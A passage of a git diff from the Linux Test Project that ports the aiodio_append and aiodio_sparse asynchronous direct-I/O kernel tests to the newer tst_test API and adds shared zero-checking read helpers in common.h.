-	printf("\t-z\t\tUse randomly generated data as the data pattern.\n");
-}
diff --git a/testcases/kernel/io/disktest/usage.h b/testcases/kernel/io/disktest/usage.h
deleted file mode 100644
index 7a7ad11..0000000
--- a/testcases/kernel/io/disktest/usage.h
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-*
-* $Id: usage.h,v 1.5 2008/02/14 08:22:24 subrata_modak Exp $
-* $Log: usage.h,v $
-* Revision 1.5  2008/02/14 08:22:24  subrata_modak
-* Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
-*
-* Revision 1.2  2001/10/10 00:17:14  yardleyb
-* Added Copyright and GPL license text.
-* Miner bug fixes throughout text.
-*
-* Revision 1.1  2001/09/05 22:44:42  yardleyb
-* Split out some of the special functions.
-* added O_DIRECT -Id.  Updated usage.  Lots
-* of clean up to functions.  Added header info
-* to pMsg.
-*
-*
-*/
-
-void usage(void);
diff --git a/testcases/kernel/io/ltp-aiodio/.gitignore b/testcases/kernel/io/ltp-aiodio/.gitignore
index 8da8e94..09a49bf 100644
--- a/testcases/kernel/io/ltp-aiodio/.gitignore
+++ b/testcases/kernel/io/ltp-aiodio/.gitignore
@@ -5,6 +5,5 @@
 /dio_append
 /dio_sparse
 /dio_truncate
+/dio_read
 /dirty
-/ltp-diorh
-/read_checkzero
diff --git a/testcases/kernel/io/ltp-aiodio/aiodio_append.c b/testcases/kernel/io/ltp-aiodio/aiodio_append.c
index 5d97ed9..45e9687 100644
--- a/testcases/kernel/io/ltp-aiodio/aiodio_append.c
+++ b/testcases/kernel/io/ltp-aiodio/aiodio_append.c
@@ -1,186 +1,208 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2004 Daniel McNeil <daniel@osdl.org>
  *               2004 Open Source Development Lab
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ *               2004  Marty Ridgeway <mridge@us.ibm.com>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * Module: .c
- * Change History:
- *
- * 2/2004  Marty Ridgeway (mridge@us.ibm.com) Changes to adapt to LTP
- *
-*/
+ * Append zeroed data to a file using libaio while other processes are doing
+ * buffered reads and check if the buffer reads always see zero.
+ */
 
 #define _GNU_SOURCE
 
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <unistd.h>
-
-#include "config.h"
-#include "test.h"
-
-char *TCID = "aiodio_append";
+#include "tst_test.h"
 
 #ifdef HAVE_LIBAIO
+#include <stdlib.h>
+#include <sys/wait.h>
+#include <unistd.h>
 #include <libaio.h>
+#include "common.h"
 
-#define NUM_CHILDREN 8
+static volatile int *run_child;
 
-#include "common_checkzero.h"
+static char *str_numchildren;
+static char *str_writesize;
+static char *str_numaio;
+static char *str_appends;
 
-int read_eof(char *filename)
-{
-	int fd;
-	int i;
-	int r;
-	char buf[4096];
-
-	while ((fd = open(filename, O_RDONLY)) < 0) {
-		sleep(1);	/* wait for file to be created */
-	}
-
-	for (i = 0; i < 1000000; i++) {
-		off_t offset;
-		char *bufoff;
-
-		offset = lseek(fd, SEEK_END, 0);
-		r = read(fd, buf, 4096);
-		if (r > 0) {
-			if ((bufoff = check_zero(buf, r))) {
-				fprintf(stderr, "non-zero read at offset %p\n",
-					offset + bufoff);
-				exit(1);
-			}
-		}
-	}
-	return 0;
-}
-
-#define NUM_AIO 16
-#define AIO_SIZE 64*1024
+static int numchildren = 8;
+static long long writesize = 64 * 1024;
+static int numaio = 16;
+static int appends = 1000;
+static long long alignment;
 
 /*
  * append to the end of a file using AIO DIRECT.
  */
-void aiodio_append(char *filename)
+static void aiodio_append(char *filename, int bcount, long long align, long long ws, int naio)
 {
 	int fd;
 	void *bufptr;
 	int i;
 	int w;
-	struct iocb iocb_array[NUM_AIO];
-	struct iocb *iocbs[NUM_AIO];
+	struct iocb iocb_array[naio];
+	struct iocb *iocbs[naio];
 	off_t offset = 0;
 	io_context_t myctx;
 	struct io_event event;
-	struct timespec timeout;
 
-	fd = open(filename, O_DIRECT | O_WRONLY | O_CREAT, 0666);
-	if (fd < 0) {
-		perror("cannot create file");
-		return;
-	}
+	fd = SAFE_OPEN(filename, O_DIRECT | O_WRONLY | O_CREAT, 0666);
 
+	/*
+	 * Prepare AIO write context.
+	 */
 	memset(&myctx, 0, sizeof(myctx));
-	io_queue_init(NUM_AIO, &myctx);
+	w = io_queue_init(naio, &myctx);
+	if (w < 0)
+		tst_brk(TBROK, "io_queue_init: %s", tst_strerrno(-w));
 
-	for (i = 0; i < NUM_AIO; i++) {
-		TEST(posix_memalign(&bufptr, 4096, AIO_SIZE));
-		if (TEST_RETURN) {
-			tst_resm(TBROK | TRERRNO, "cannot malloc aligned memory");
-			return;
-		}
-		memset(bufptr, 0, AIO_SIZE);
-		io_prep_pwrite(&iocb_array[i], fd, bufptr, AIO_SIZE, offset);
+	for (i = 0; i < naio; i++) {
+		bufptr = SAFE_MEMALIGN(align, ws);
+		memset(bufptr, 0, ws);
+		io_prep_pwrite(&iocb_array[i], fd, bufptr, ws, offset);
 		iocbs[i] = &iocb_array[i];
-		offset += AIO_SIZE;
+		offset += ws;
 	}
 
 	/*
-	 * Start the 1st NUM_AIO requests
+	 * Start the 1st AIO requests.
 	 */
-	if ((w = io_submit(myctx, NUM_AIO, iocbs)) < 0) {
-		fprintf(stderr, "io_submit write returned %d\n", w);
+	w = io_submit(myctx, naio, iocbs);
+	if (w < 0) {
+		io_destroy(myctx);
+		tst_brk(TBROK, "io_submit (multiple): %s", tst_strerrno(-w));
 	}
 
 	/*
 	 * As AIO requests finish, keep issuing more AIOs.
 	 */
-	for (; i < 1000; i++) {
+	for (; i < bcount; i++) {
 		int n = 0;
 		struct iocb *iocbp;
 
-		n = io_getevents(myctx, 1, 1, &event, &timeout);
+		n = io_getevents(myctx, 1, 1, &event, NULL);
 		if (n > 0) {
 			iocbp = (struct iocb *)event.obj;
-
-			if (n > 0) {
-				io_prep_pwrite(iocbp, fd, iocbp->u.c.buf,
-					       AIO_SIZE, offset);
-				offset += AIO_SIZE;
-				if ((w = io_submit(myctx, 1, &iocbp)) < 0) {
-					fprintf(stderr,
-						"write %d returned %d\n", i, w);
-				}
+			io_prep_pwrite(iocbp, fd, iocbp->u.c.buf, ws, offset);
+			offset += ws;
+			w = io_submit(myctx, 1, &iocbp);
+			if (w < 0) {
+				io_destroy(myctx);
+				tst_brk(TBROK, "io_submit (single): %s", tst_strerrno(-w));
 			}
 		}
 	}
 }
 
-int main(int argc, char **argv)
+static void setup(void)
 {
-	int pid[NUM_CHILDREN];
-	int num_children = 1;
-	int i;
-	char *filename = argv[1];
+	struct stat sb;
+	int maxaio;
 
-	printf("Starting aio/dio append test...\n");
+	if (tst_parse_int(str_numaio, &numaio, 1, INT_MAX))
+		tst_brk(TBROK, "Number of async IO blocks '%s'", str_numaio);
 
-	for (i = 0; i < num_children; i++) {
-		if ((pid[i] = fork()) == 0) {
-			/* child */
-			return read_eof(filename);
-		} else if (pid[i] < 0) {
-			/* error */
-			perror("fork error");
-			break;
-		} else {
-			/* Parent */
-			continue;
+	SAFE_FILE_SCANF("/proc/sys/fs/aio-max-nr", "%d", &maxaio);
+	tst_res(TINFO, "Maximum AIO blocks: %d", maxaio);
+
+	if (numaio > maxaio)
+		tst_res(TCONF, "Number of async IO blocks passed the maximum (%d)", maxaio);
+
+	if (tst_parse_int(str_numchildren, &numchildren, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of children '%s'", str_numchildren);
+
+	if (tst_parse_filesize(str_writesize, &writesize, 1, LLONG_MAX))
+		tst_brk(TBROK, "Size of the file to write '%s'", str_writesize);
+
+	if (tst_parse_int(str_appends, &appends, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of appends '%s'", str_appends);
+
+	SAFE_STAT(".", &sb);
+	alignment = sb.st_blksize;
+
+	run_child = SAFE_MMAP(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+}
+
+static void cleanup(void)
+{
+	if (run_child) {
+		*run_child = 0;
+		SAFE_MUNMAP((void *)run_child, sizeof(int));
+	}
+}
+
+static void run(void)
+{
+	char *filename = "aiodio_append";
+	int status;
+	int i, pid;
+
+	*run_child = 1;
+
+	for (i = 0; i < numchildren; i++) {
+		if (!SAFE_FORK()) {
+			io_read_eof(filename, run_child);
+			return;
 		}
 	}
 
-	/*
-	 * Parent appends to end of file using direct i/o
-	 */
-
-	aiodio_append(filename);
-
-	for (i = 0; i < num_children; i++) {
-		kill(pid[i], SIGTERM);
+	pid = SAFE_FORK();
+	if (!pid) {
+		aiodio_append(filename, appends, alignment, writesize, numaio);
+		return;
 	}
 
-	return 0;
+	tst_res(TINFO, "Child %i appends to a file", pid);
+
+	for (;;) {
+		if (SAFE_WAITPID(pid, NULL, WNOHANG))
+			break;
+
+		sleep(1);
+
+		if (!tst_remaining_runtime()) {
+			tst_res(TINFO, "Test out of runtime, exiting");
+			kill(pid, SIGKILL);
+			SAFE_WAITPID(pid, NULL, 0);
+			break;
+		}
+	}
+
+	if (SAFE_WAITPID(-1, &status, WNOHANG))
+		tst_res(TFAIL, "Non zero bytes read");
+	else
+		tst_res(TPASS, "All bytes read were zeroed");
+
+	*run_child = 0;
+
+	SAFE_UNLINK(filename);
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.max_runtime = 1800,
+	.options = (struct tst_option[]) {
+		{"n:", &str_numchildren, "Number of threads (default 16)"},
+		{"s:", &str_writesize, "Size of the file to write (default 64K)"},
+		{"c:", &str_appends, "Number of appends (default 1000)"},
+		{"b:", &str_numaio, "Number of async IO blocks (default 16)"},
+		{}
+	},
+	.skip_filesystems = (const char *[]) {
+		"tmpfs",
+		NULL
+	},
+};
 #else
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
-}
+TST_TEST_TCONF("test requires libaio and its development packages");
 #endif
diff --git a/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c b/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c
index 4767f49..595c762 100644
--- a/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c
+++ b/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c
@@ -1,3 +1,4 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2004 Daniel McNeil <daniel@osdl.org>
  *               2004 Open Source Development Lab
@@ -5,333 +6,246 @@
  * Copyright (c) 2004 Marty Ridgeway <mridge@us.ibm.com>
  *
  * Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Create a sparse file and write zeroes to it using libaio while other
+ * processes are doing buffered reads and check if the buffer reads always see
+ * zero.
  */
 
 #define _GNU_SOURCE
 
-#include <stdlib.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <signal.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/mman.h>
-#include <sys/wait.h>
-#include <limits.h>
-#include <getopt.h>
-
-
-#include "config.h"
-#include "test.h"
-#include "safe_macros.h"
-
-char *TCID = "aiodio_sparse";
-int TST_TOTAL = 1;
+#include "tst_test.h"
 
 #ifdef HAVE_LIBAIO
+#include <stdlib.h>
+#include <sys/wait.h>
+#include <unistd.h>
 #include <libaio.h>
+#include "common.h"
 
-#define NUM_CHILDREN 1000
+static volatile int *run_child;
 
-int debug;
-int fd;
+static char *str_numchildren;
+static char *str_writesize;
+static char *str_filesize;
+static char *str_numaio;
 
-static void setup(void);
-static void cleanup(void);
-static void usage(void);
+static int numchildren = 16;
+static long long writesize = 1024;
+static long long filesize = 100 * 1024 * 1024;
+static long long alignment;
+static int numaio = 16;
 
-#include "common_sparse.h"
-
-/*
- * do async DIO writes to a sparse file
- */
-int aiodio_sparse(int fd, int align, int writesize, int filesize, int num_aio)
+static void check_event(struct io_event event)
 {
+	struct iocb *iocbp;
+
+	iocbp = (struct iocb *)event.obj;
+	if (event.res2 != 0 || event.res != iocbp->u.c.nbytes) {
+		tst_brk(TBROK, "AIO write offset %lld expected %ld got %ld",
+			iocbp->u.c.offset, iocbp->u.c.nbytes, event.res);
+	}
+}
+
+static void aiodio_sparse(char *filename, long long align, long long ws,
+			  long long fs, int naio)
+{
+	int fd;
 	int i, w;
 	struct iocb **iocbs;
+	struct iocb *iocb;
 	off_t offset;
 	io_context_t myctx;
 	struct io_event event;
 	int aio_inflight;
 
-	if ((num_aio * writesize) > filesize)
-		num_aio = filesize / writesize;
+	fd = SAFE_OPEN(filename, O_DIRECT | O_WRONLY | O_CREAT, 0666);
+	SAFE_FTRUNCATE(fd, fs);
 
 	memset(&myctx, 0, sizeof(myctx));
-	io_queue_init(num_aio, &myctx);
+	io_queue_init(naio, &myctx);
 
-	iocbs = malloc(sizeof(struct iocb *) * num_aio);
-	for (i = 0; i < num_aio; i++) {
-		if ((iocbs[i] = malloc(sizeof(struct iocb))) == 0) {
-			tst_resm(TBROK | TERRNO, "malloc()");
-			return 1;
-		}
-	}
+	iocbs = SAFE_MALLOC(sizeof(struct iocb *) * naio);
+	iocb = SAFE_MALLOC(sizeof(struct iocb) * naio);
 
-	/*
-	 * allocate the iocbs array and iocbs with buffers
-	 */
+	for (i = 0; i < naio; i++)
+		iocbs[i] = iocb + i;
+
 	offset = 0;
-	for (i = 0; i < num_aio; i++) {
+	for (i = 0; i < naio; i++) {
 		void *bufptr;
 
-		TEST(posix_memalign(&bufptr, align, writesize));
-		if (TEST_RETURN) {
-			tst_resm(TBROK | TRERRNO, "cannot allocate aligned memory");
-			return 1;
-		}
-		memset(bufptr, 0, writesize);
-		io_prep_pwrite(iocbs[i], fd, bufptr, writesize, offset);
-		offset += writesize;
+		bufptr = SAFE_MEMALIGN(align, ws);
+		memset(bufptr, 0, ws);
+		io_prep_pwrite(iocbs[i], fd, bufptr, ws, offset);
+		offset += ws;
 	}
 
-	/*
-	 * start the 1st num_aio write requests
-	 */
-	if ((w = io_submit(myctx, num_aio, iocbs)) < 0) {
-		tst_resm(TBROK, "io_submit() returned %i", w);
-		return 1;
-	}
+	w = io_submit(myctx, naio, iocbs);
+	if (w < 0)
+		tst_brk(TBROK, "io_submit: %s", tst_strerrno(-w));
 
-	if (debug)
-		tst_resm(TINFO, "io_submit() returned %d", w);
+	aio_inflight = naio;
 
-	/*
-	 * As AIO requests finish, keep issuing more AIO until done.
-	 */
-	aio_inflight = num_aio;
-
-	while (offset < filesize) {
+	while (offset < fs) {
 		int n;
 		struct iocb *iocbp;
 
-		if (debug)
-			tst_resm(TINFO,
-				 "aiodio_sparse: offset %p filesize %d inflight %d",
-				 &offset, filesize, aio_inflight);
+		n = io_getevents(myctx, 1, 1, &event, 0);
 
-		if ((n = io_getevents(myctx, 1, 1, &event, 0)) != 1) {
-			if (-n != EINTR)
-				tst_resm(TBROK, "io_getevents() returned %d",
-					 n);
-			break;
-		}
+		if (-n == EINTR)
+			continue;
 
-		if (debug)
-			tst_resm(TINFO,
-				 "aiodio_sparse: io_getevent() returned %d", n);
+		if (n != 1)
+			tst_brk(TBROK, "io_getevents: %s", tst_strerrno(-n));
 
 		aio_inflight--;
 
-		/*
-		 * check if write succeeded.
-		 */
-		iocbp = (struct iocb *)event.obj;
-		if (event.res2 != 0 || event.res != iocbp->u.c.nbytes) {
-			tst_resm(TBROK,
-				 "AIO write offset %lld expected %ld got %ld",
-				 iocbp->u.c.offset, iocbp->u.c.nbytes,
-				 event.res);
-			break;
-		}
-
-		if (debug)
-			tst_resm(TINFO,
-				 "aiodio_sparse: io_getevent() res %ld res2 %ld",
-				 event.res, event.res2);
+		check_event(event);
 
 		/* start next write */
-		io_prep_pwrite(iocbp, fd, iocbp->u.c.buf, writesize, offset);
-		offset += writesize;
-		if ((w = io_submit(myctx, 1, &iocbp)) < 0) {
-			tst_resm(TBROK, "io_submit failed at offset %ld",
-				 offset);
-			break;
-		}
+		iocbp = (struct iocb *)event.obj;
 
-		if (debug)
-			tst_resm(TINFO, "io_submit() return %d", w);
+		io_prep_pwrite(iocbp, fd, iocbp->u.c.buf, ws, offset);
+		offset += ws;
+		w = io_submit(myctx, 1, &iocbp);
+		if (w < 0)
+			tst_brk(TBROK, "io_submit: %s", tst_strerrno(-w));
 
 		aio_inflight++;
 	}
 
-	/*
-	 * wait for AIO requests in flight.
-	 */
 	while (aio_inflight > 0) {
 		int n;
-		struct iocb *iocbp;
 
-		if ((n = io_getevents(myctx, 1, 1, &event, 0)) != 1) {
-			tst_resm(TBROK, "io_getevents failed");
-			break;
-		}
-		aio_inflight--;
-		/*
-		 * check if write succeeded.
-		 */
-		iocbp = (struct iocb *)event.obj;
-		if (event.res2 != 0 || event.res != iocbp->u.c.nbytes) {
-			tst_resm(TBROK,
-				 "AIO write offset %lld expected %ld got %ld",
-				 iocbp->u.c.offset, iocbp->u.c.nbytes,
-				 event.res);
-		}
-	}
+		n = io_getevents(myctx, 1, 1, &event, 0);
 
-	return 0;
-}
-
-static void usage(void)
-{
-	fprintf(stderr, "usage: dio_sparse [-n children] [-s filesize]"
-		" [-w writesize]\n");
-	exit(1);
-}
-
-int main(int argc, char **argv)
-{
-	char *filename = "aiodio_sparse";
-	int pid[NUM_CHILDREN];
-	int num_children = 1;
-	int i;
-	long alignment = 512;
-	int writesize = 65536;
-	int filesize = 100 * 1024 * 1024;
-	int num_aio = 16;
-	int children_errors = 0;
-	int c;
-	int ret;
-
-	while ((c = getopt(argc, argv, "dw:n:a:s:i:")) != -1) {
-		char *endp;
-		switch (c) {
-		case 'd':
-			debug++;
-			break;
-		case 'i':
-			num_aio = atoi(optarg);
-			break;
-		case 'a':
-			alignment = strtol(optarg, &endp, 0);
-			alignment = (int)scale_by_kmg((long long)alignment,
-						      *endp);
-			break;
-		case 'w':
-			writesize = strtol(optarg, &endp, 0);
-			writesize =
-			    (int)scale_by_kmg((long long)writesize, *endp);
-			break;
-		case 's':
-			filesize = strtol(optarg, &endp, 0);
-			filesize =
-			    (int)scale_by_kmg((long long)filesize, *endp);
-			break;
-		case 'n':
-			num_children = atoi(optarg);
-			if (num_children > NUM_CHILDREN) {
-				fprintf(stderr,
-					"number of children limited to %d\n",
-					NUM_CHILDREN);
-				num_children = NUM_CHILDREN;
-			}
-			break;
-		case '?':
-			usage();
-			break;
-		}
-	}
-
-	setup();
-	tst_resm(TINFO, "Dirtying free blocks");
-	dirty_freeblocks(filesize);
-
-	fd = SAFE_OPEN(cleanup, filename,
-		O_DIRECT | O_WRONLY | O_CREAT | O_EXCL, 0600);
-	SAFE_FTRUNCATE(cleanup, fd, filesize);
-
-	tst_resm(TINFO, "Starting I/O tests");
-	signal(SIGTERM, SIG_DFL);
-	for (i = 0; i < num_children; i++) {
-		switch (pid[i] = fork()) {
-		case 0:
-			SAFE_CLOSE(NULL, fd);
-			read_sparse(filename, filesize);
-			break;
-		case -1:
-			while (i-- > 0)
-				kill(pid[i], SIGTERM);
-
-			tst_brkm(TBROK | TERRNO, cleanup, "fork()");
-		default:
+		if (-n == EINTR)
 			continue;
-		}
-	}
-	tst_sig(FORK, DEF_HANDLER, cleanup);
 
-	ret = aiodio_sparse(fd, alignment, writesize, filesize, num_aio);
+		if (n != 1)
+			tst_brk(TBROK, "io_getevents failed");
 
-	tst_resm(TINFO, "Killing childrens(s)");
+		aio_inflight--;
 
-	for (i = 0; i < num_children; i++)
-		kill(pid[i], SIGTERM);
-
-	for (i = 0; i < num_children; i++) {
-		int status;
-		pid_t p;
-
-		p = waitpid(pid[i], &status, 0);
-		if (p < 0) {
-			tst_resm(TBROK | TERRNO, "waitpid()");
-		} else {
-			if (WIFEXITED(status) && WEXITSTATUS(status) == 10)
-				children_errors++;
-		}
+		check_event(event);
 	}
 
-	if (children_errors)
-		tst_resm(TFAIL, "%i children(s) exited abnormally",
-			 children_errors);
-
-	if (!children_errors && !ret)
-		tst_resm(TPASS, "Test passed");
-
-	cleanup();
-	tst_exit();
+	free(iocb);
+	free(iocbs);
 }
 
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	tst_tmpdir();
+	struct stat sb;
+
+	if (tst_parse_int(str_numchildren, &numchildren, 1, INT_MAX)) {
+		tst_brk(TBROK, "Invalid number of children '%s'",
+			str_numchildren);
+	}
+
+	if (tst_parse_filesize(str_writesize, &writesize, 1, LLONG_MAX))
+		tst_brk(TBROK, "Invalid write blocks size '%s'", str_writesize);
+
+	if (tst_parse_filesize(str_filesize, &filesize, 1, LLONG_MAX))
+		tst_brk(TBROK, "Invalid file size '%s'", str_filesize);
+
+	if (tst_parse_int(str_numaio, &numaio, 1, INT_MAX)) {
+		tst_brk(TBROK, "Invalid number of AIO control blocks '%s'",
+			str_numaio);
+	}
+
+	if ((numaio * writesize) > filesize) {
+		numaio = filesize / writesize;
+		tst_res(TINFO,
+			"Numbers of AIO have been reduced to %d so we fit filesize",
+			numaio);
+	}
+
+	SAFE_STAT(".", &sb);
+	alignment = sb.st_blksize;
+
+	run_child = SAFE_MMAP(NULL, sizeof(int), PROT_READ | PROT_WRITE,
+			      MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+
+	tst_res(TINFO, "Dirtying free blocks");
+	dirty_freeblocks(filesize);
 }
 
 static void cleanup(void)
 {
-	if (fd > 0 && close(fd))
-		tst_resm(TWARN | TERRNO, "Failed to close file");
-
-	tst_rmdir();
+	if (run_child) {
+		*run_child = 0;
+		SAFE_MUNMAP((void *)run_child, sizeof(int));
+	}
 }
 
-#else
-int main(void)
+static void run(void)
 {
-	tst_brkm(TCONF, NULL, "test requires libaio and it's development packages");
+	char *filename = "file.bin";
+	int i, pid;
+
+	*run_child = 1;
+
+	for (i = 0; i < numchildren; i++) {
+		if (!SAFE_FORK()) {
+			io_read(filename, filesize, run_child);
+			return;
+		}
+	}
+
+	pid = SAFE_FORK();
+	if (!pid) {
+		aiodio_sparse(filename, alignment, writesize, filesize, numaio);
+		return;
+	}
+
+	tst_res(TINFO, "Child %i creates a sparse file", pid);
+
+	for (;;) {
+		if (SAFE_WAITPID(pid, NULL, WNOHANG))
+			break;
+
+		sleep(1);
+
+		if (!tst_remaining_runtime()) {
+			tst_res(TINFO, "Test out of runtime, exiting");
+			kill(pid, SIGKILL);
+			SAFE_WAITPID(pid, NULL, 0);
+			break;
+		}
+	}
+
+	*run_child = 0;
+
+	if (!tst_validate_children(numchildren))
+		tst_res(TPASS, "All bytes read were zeroed");
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.options = (struct tst_option[]) {
+		{"n:", &str_numchildren, "Number of threads (default 16)"},
+		{"w:", &str_writesize, "Size of writing blocks (default 1K)"},
+		{"s:", &str_filesize, "Size of file (default 100M)"},
+		{"o:", &str_numaio, "Number of AIO control blocks (default 16)"},
+		{},
+	},
+	.skip_filesystems = (const char *[]) {
+		"tmpfs",
+		NULL
+	},
+	.max_runtime = 1800,
+};
+#else
+TST_TEST_TCONF("test requires libaio and its development packages");
 #endif
diff --git a/testcases/kernel/io/ltp-aiodio/common.h b/testcases/kernel/io/ltp-aiodio/common.h
new file mode 100644
index 0000000..3a604f8
--- /dev/null
+++ b/testcases/kernel/io/ltp-aiodio/common.h
@@ -0,0 +1,158 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+#ifndef AIODIO_COMMON_H__
+#define AIODIO_COMMON_H__
+
+#include <stdlib.h>
+#include "tst_test.h"
+
+static inline char *check_zero(char *buf, int size)
+{
+	char *p;
+
+	p = buf;
+
+	while (size > 0) {
+		if (*buf != 0) {
+			tst_res(TINFO,
+				"non zero buffer at buf[%lu] => 0x%02x,%02x,%02x,%02x",
+				buf - p, (unsigned int)buf[0],
+				size > 1 ? (unsigned int)buf[1] : 0,
+				size > 2 ? (unsigned int)buf[2] : 0,
+				size > 3 ? (unsigned int)buf[3] : 0);
+			tst_res(TINFO, "buf %p, p %p", buf, p);
+			return buf;
+		}
+		buf++;
+		size--;
+	}
+
+	return 0;
+}
+
+static inline void io_append(const char *path, char pattern, int flags, size_t bs, size_t bcount)
+{
+	int fd;
+	size_t i;
+	char *bufptr;
+
+	bufptr = SAFE_MEMALIGN(getpagesize(), bs);
+	memset(bufptr, pattern, bs);
+
+	fd = SAFE_OPEN(path, flags, 0666);
+
+	for (i = 0; i < bcount; i++) {
+		SAFE_WRITE(1, fd, bufptr, bs);
+
+		if (!tst_remaining_runtime())
+			break;
+	}
+
+	free(bufptr);
+	SAFE_CLOSE(fd);
+}
+
+static inline void io_read(const char *filename, int filesize, volatile int *run_child)
+{
+	char buff[4096];
+	int fd;
+	int i;
+	int r;
+
+	while ((fd = open(filename, O_RDONLY, 0666)) < 0)
+		usleep(100);
+
+	tst_res(TINFO, "child %i reading file", getpid());
+
+	for (;;) {
+		off_t offset = 0;
+		char *bufoff;
+
+		SAFE_LSEEK(fd, SEEK_SET, 0);
+
+		for (i = 0; i < filesize + 1; i += sizeof(buff)) {
+			r = SAFE_READ(0, fd, buff, sizeof(buff));
+			if (r > 0) {
+				bufoff = check_zero(buff, r);
+				if (bufoff) {
+					tst_res(TFAIL,
+						"non-zero read at offset %zu",
+						offset + (bufoff - buff));
+					SAFE_CLOSE(fd);
+					exit(1);
+				}
+				offset += r;
+			}
+
+			if (!*run_child || !tst_remaining_runtime())
+				goto exit;
+		}
+	}
+
+exit:
+	SAFE_CLOSE(fd);
+}
+
+static inline void io_read_eof(const char *filename, volatile int *run_child)
+{
+	char buff[4096];
+	int fd;
+	int r;
+
+	while ((fd = open(filename, O_RDONLY, 0666)) < 0)
+		usleep(100);
+
+	tst_res(TINFO, "child %i reading file", getpid());
+
+	while (*run_child) {
+		off_t offset;
+		char *bufoff;
+
+		offset = SAFE_LSEEK(fd, SEEK_END, 0);
+
+		r = SAFE_READ(0, fd, buff, sizeof(buff));
+		if (r > 0) {
+			bufoff = check_zero(buff, r);
+			if (bufoff) {
+				tst_res(TINFO, "non-zero read at offset %p", offset + bufoff);
+				break;
+			}
+		}
+	}
+
+	SAFE_CLOSE(fd);
+}
+
+/*
+ * This code tries to create dirty free blocks on
+ * the HDD so there is a chance that blocks to be allocated
+ * for a file are filled with something else than zeroes.
+ *
+ * The usefulness of this is IMHO questionable.
+ */
+static inline void dirty_freeblocks(int size)
+{
+	char *filename = "dirty_file";
+	int fd;
+	void *p;
+	int pg;
+
+	pg = getpagesize();
+	size = LTP_ALIGN(size, pg);
+
+	fd = SAFE_OPEN(filename, O_CREAT | O_RDWR, 0600);
+	SAFE_FTRUNCATE(fd, size);
+
+	p = SAFE_MMAP(NULL, size, PROT_WRITE | PROT_READ, MAP_SHARED | MAP_FILE, fd, 0);
+	memset(p, 0xaa, size);
+	msync(p, size, MS_SYNC);
+	munmap(p, size);
+
+	SAFE_CLOSE(fd);
+	SAFE_UNLINK(filename);
+}
+
+#endif /* AIODIO_COMMON_H__ */
diff --git a/testcases/kernel/io/ltp-aiodio/dio_append.c b/testcases/kernel/io/ltp-aiodio/dio_append.c
index 3f0ed29..057ae73 100644
--- a/testcases/kernel/io/ltp-aiodio/dio_append.c
+++ b/testcases/kernel/io/ltp-aiodio/dio_append.c
@@ -1,143 +1,107 @@
-
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2004 Daniel McNeil <daniel@osdl.org>
- *               2004 Open Source Development Lab
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
